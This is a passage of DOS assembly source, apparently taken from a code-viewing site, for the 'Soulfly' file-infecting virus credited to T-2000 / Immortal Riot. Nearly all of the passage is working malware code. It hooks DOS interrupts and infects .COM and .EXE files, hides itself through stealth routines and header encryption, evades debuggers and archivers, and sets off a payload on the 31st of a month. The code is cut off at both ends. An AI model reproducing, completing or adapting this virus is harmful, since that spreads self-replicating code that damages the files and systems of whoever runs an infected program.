📄 soulfly.asm
字号:
CLD ; Copy the clean header into
REP MOVSB ; the caller's buffer.
Exit_St_Read: CALL Restore_File_Pos
JMP_RETF2_E: JMP RETF2_Exit
Restore_Abort: CALL Restore_File_Pos
Exit_Abort: POP ES
POP DS
POPA
POPF
Chk_Seek_EOF: CMP AX, 4202h ; Seek to EOF ?
JNE Chk_Stealth_Wr
Stealth_Seek: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_S_Seek
CALL Check_Handle
JS Exit_S_Seek
JB Exit_S_Seek
MOV AX, 4201h
MOV CX, -1
MOV DX, -Virus_Size
CALL OldInt21h
MOV [BP.Reg_AX], AX
MOV [BP.Reg_DX], DX
Exit_S_Seek: JMP JMP_RETF2_E
Chk_Stealth_Wr: CMP AH, 40h ; Write file?
JNE Chk_Debugger
Stealth_Write: CALL Check_Clean
Chk_Debugger: CMP AX, 4B01h
JNE Chk_Stealth_St
Clean_File: PUSHA
MOV AX, 3D92h
CALL OldInt21h
JC Exit_Clean_F
XCHG BX, AX
CALL Check_Clean
MOV AH, 3Eh
CALL OldInt21h
Exit_Clean_F: POPA
Chk_Stealth_St: CMP AX, 5700h ; Get filedate & time?
JNE Chk_Disk_Tool
Stealth_Stamp: CALL OldInt21h
PUSHF
JC Exit_Get_Stamp
CMP DH, Century
JB Exit_Get_Stamp
SUB DH, Century
Exit_Get_Stamp: POPF
RETF 2
Chk_Disk_Tool: CMP AH, 1Fh ; Get default DPB ?
JE Set_Inactive
CMP AH, 32h ; Get DPB ?
JNE Check_4_Exec
Set_Inactive: MOV CS:Active_Switch, (Inactive - Active_Switch) - 2
JMP Check_4_Exec
DB 9Ah
Check_4_Exec: CMP AX, 4B00h ; Program execute?
JE Init_Execute
CMP AH, 3Dh ; Open file?
JE Check_Infect
CMP AX, 6C00h ; Extended open?
JE Check_Infect
CMP AH, 41h ; Delete file?
JE Check_Infect
Inactive: CMP AH, 4Ch ; Program terminate (PSP) ?
JE Enable_Stealth
CMP AH, 31h ; Terminate & stay resident?
JE Enable_Stealth
OR AH, AH ; Program terminate (CS) ?
JNZ Check_4_Res
Enable_Stealth: AND CS:Active_Switch, 0
Check_4_Res: CMP AX, Res_Check_AX
JNE JMP_Int21h
CMP BX, Res_Check_BX
JE Return_Marker
JMP_Int21h: DB 0EAh ; JMP FAR opcode.
Int21h DW 0, 0
; Check if the call was made by the virus, if not, call the payload.
Return_Marker:
PUSHA
PUSH ES
PUSH CS
POP ES
MOV DI, OFFSET Encrypted
ADD SI, DI
MOV CX, (Exec_Host - Encrypted)
CLD
REPE CMPSB
POP ES
POPA
JE Caller_Is_OK
JMP Payload
Caller_Is_OK: MOV AX, Marker_Mem_AX
MOV BX, Marker_Mem_BX
IRET
Init_Execute:
PUSHA
PUSH DS
PUSH ES
MOV AH, 2Ah ; Get system-date.
CALL OldInt21h
CMP DL, 31 ; 31st of any month?
JB No_Activate
MOV AH, 2Ch ; Get system-time.
CALL OldInt21h
OR CL, CL ; We're in the first minute?
JNZ No_Activate
JMP Payload
No_Activate: MOV SI, OFFSET Archivers ; A known archiver is about
CALL Scan_Line ; to get executed?
JNE Exit_Init_Exec
; === Then temporarily disable stealth & infection. ===
MOV CS:Active_Switch, (Inactive - Active_Switch) - 1
Exit_Init_Exec: POP ES
POP DS
POPA
Check_Infect: PUSHA
PUSH DS
PUSH ES
CALL Anti_Debugger
CALL Hook_Int24h
CMP AX, 6C00h ; Extended open?
JNE Check_Ext
MOV DX, SI ; Then adjust register.
Check_Ext: MOV SI, DX
Find_End_Str: CLD ; Find end of ASCIIZ-string.
LODSB
OR AL, AL
JNZ Find_End_Str
MOV AX, [SI-2]
CALL Make_Uppercase
XCHG BX, AX
MOV AX, [SI-4]
CALL Make_Uppercase
Check_Ext_COM: CMP AX, 'OC' ; .COM-extension?
JNE Check_Ext_EXE
CMP BL, 'M'
JE Save_File_Attr
Check_Ext_EXE: CMP AX, 'XE' ; .EXE-extension?
JNE JMP_Exit_Inf
CMP BL, AL
JE Save_File_Attr
JMP_Exit_Inf: JMP Exit_Infect
Save_File_Attr: MOV CS:File_Name, DX ; Save filename.
MOV CS:File_Name+2, DS
MOV AX, 4300h ; Get file-attributes.
PUSH AX
CALL OldInt21h
POP AX
JC JMP_Exit_Inf
MOV CS:File_Attr, CX ; Save 'em.
INC AX ; Remove readonly-flag.
AND CL, NOT 00000001b
CALL OldInt21h
JC JMP_Exit_Inf
Open_Candidate: MOV AX, 3D92h ; Open the candidate-file.
CALL OldInt21h
JNC File_Opened
JMP Restore_Attr
File_Opened: XCHG BX, AX
CALL Check_Handle
JS Abort_Infect
JNB Abort_Infect
PUSH CS
POP ES
CALL Read_Header
JC Abort_Infect
CMP [SI.Checksum], Marker_File
JE Abort_Infect
Check_Min_Size: CALL Go_EOF
OR DX, DX
JNZ Not_Too_Small
CMP AX, 560
JB Abort_Infect
Not_Too_Small: CALL Check_4_EXE
JE Chk_4_Overlay
Check_COM: OR DX, DX
JNZ Abort_Infect
CMP AX, (65535 - (Virus_Size + 1024))
JB Chk_4_Inf_Date
JMP Abort_Infect
Chk_4_Overlay: CALL Div_512_Pages
CMP AX, [SI.Image_512_Pages]
JNE Abort_Infect
CMP DX, [SI.Image_Mod_512]
JNE Abort_Infect
Check_4_NE_PE: CMP [SI.Reloc_Table], 40h ; It's a possible NE/PE-file?
JB Chk_4_Inf_Date
MOV AX, 4200h ; Seek to the NE/PE-header.
MOV CX, [SI+3Ch+2]
MOV DX, [SI+3Ch]
CALL OldInt21h
MOV CX, 2
LEA DX, [SI+3Ch]
CALL Read_File
CMP [SI+3Ch], 'EN' ; Avoid NE-files.
JE Abort_Infect
CMP [SI+3Ch], 'EP' ; Avoid PE-files.
JE Abort_Infect
Chk_4_Inf_Date: CALL Save_File_Stamp
JB Infect_File
Abort_Infect: JMP Close_File_Inf
Infect_File: PUSH SI
MOV DI, OFFSET Host_Bytes
PUSH DI
MOV CX, 24 / 2
CLD
REP MOVSW
POP SI
IN AX, 40h
MOV [SI.Header_Key], AX
IN AX, 40h
MOV [SI.Header_Slider], AX
CALL Crypt_Header
IN AX, 40h
MOV Slide_Key, AX
XCHG DX, AX
IN AX, 40h
MOV Init_Key, AX
XOR SI, SI
MOV DI, OFFSET Buffer
PUSH DI
MOV CX, Virus_Size
PUSH CX
CLD
REP MOVSB
MOV SI, OFFSET Buffer + ((End_Encrypted - Start) - 2)
MOV CX, (Encrypted_Size / 2)
Encrypt_Word: XOR [SI], AX
ADD AX, DX
DEC SI
DEC SI
LOOP Encrypt_Word
CALL Go_EOF
XCHG BP, AX
MOV DI, DX
POP CX
POP DX
CALL Write_File
POP SI
JC Close_File_Inf
CALL Check_4_EXE ; We're infecting an .EXE ?
JE Infect_EXE
Infect_COM: SUB BP, 3 ; Calculate JMP-displacement.
MOV [SI.Jump], 0E9h ; JMP opcode.
MOV [SI.Displacement], BP ; Pointing to the viruscode.
JMP Set_Header
Infect_EXE: PUSH BP
PUSH DI
MOV AX, [SI.Header_Size_Mem]
MOV CX, 16
MUL CX
XCHG BP, AX ; Headersize in bytes.
MOV DI, DX
POP DX
POP AX
SUB AX, BP ; Calculate size of image.
SBB DX, DI
MOV CL, 16 ; Calculate new CS:IP.
DIV CX
MOV [SI.Program_CS], AX
MOV [SI.Program_IP], DX
ADD AX, ((Virus_Size + 15) / 16)
MOV [SI.Program_SS], AX
MOV [SI.Program_SP], Virus_Stack
CALL Div_512_Pages
MOV [SI.Image_512_Pages], AX
MOV [SI.Image_Mod_512], DX
ADD [SI.Min_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16)
ADD [SI.Max_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16)
JNC Set_Header
SUB [SI.Max_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16)
Set_Header: MOV [SI.Checksum], Marker_File
CALL Write_Header
ADD BYTE PTR File_Date+1, Century
CALL Restore_File_Stamp
Close_File_Inf: MOV AH, 3Eh ; Close file.
CALL OldInt21h
Restore_Attr: MOV AX, 4301h - 1 ; Restore original file-
INC AX ; attributes.
MOV CX, 0
File_Attr = WORD PTR $-2
LDS DX, DWORD PTR CS:File_Name
CALL OldInt21h
Exit_Infect: CALL Unhook_Int24h
POP ES
POP DS
POPA
JMP JMP_Int21h
OldInt13h:
PUSHF
DB 9Ah
Int13h DW 0, 0
RETN
Div_512_Pages:
CALL Go_EOF
MOV CH, 512 SHR 8 ; Divide in 512-byte pages.
DIV CX
OR DX, DX ; No rest?
JZ Exit_Div_512
INC AX ; Else round to next 512.
Exit_Div_512: RETN
Author DB 'T-2000 / Immortal Riot', 0
Save_File_Stamp:
MOV AX, 5700h
CALL OldInt21h
MOV CS:File_Time, CX
MOV CS:File_Date, DX
CMP DH, Century
RETN
Restore_File_Stamp:
MOV AX, 5701h
MOV CX, 0
File_Time = WORD PTR $-2
MOV DX, 0
File_Date = WORD PTR $-2
JMP OldInt21h
Go_BOF:
MOV AX, 4200h
JMP Set_Pos
Go_EOF:
MOV AX, 4202h
Set_Pos: XOR CX, CX
CWD
OldInt21h: PUSHF
CALL DWORD PTR CS:Int21h
RETN
; DS:DX = line.
; CS:SI = table.
Scan_Line:
PUSHA
PUSH CS
POP ES
PUSH SI
MOV SI, DX
Find_End_Line: CLD
LODSB
OR AL, AL
JNZ Find_End_Line
DEC SI
MOV CX, SI
Find_Filename: STD
LODSB
CMP AL, '\'
JE Found_Filename
LOOP Find_Filename
JMP Adjust_DI
Found_Filename: INC SI
INC SI
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -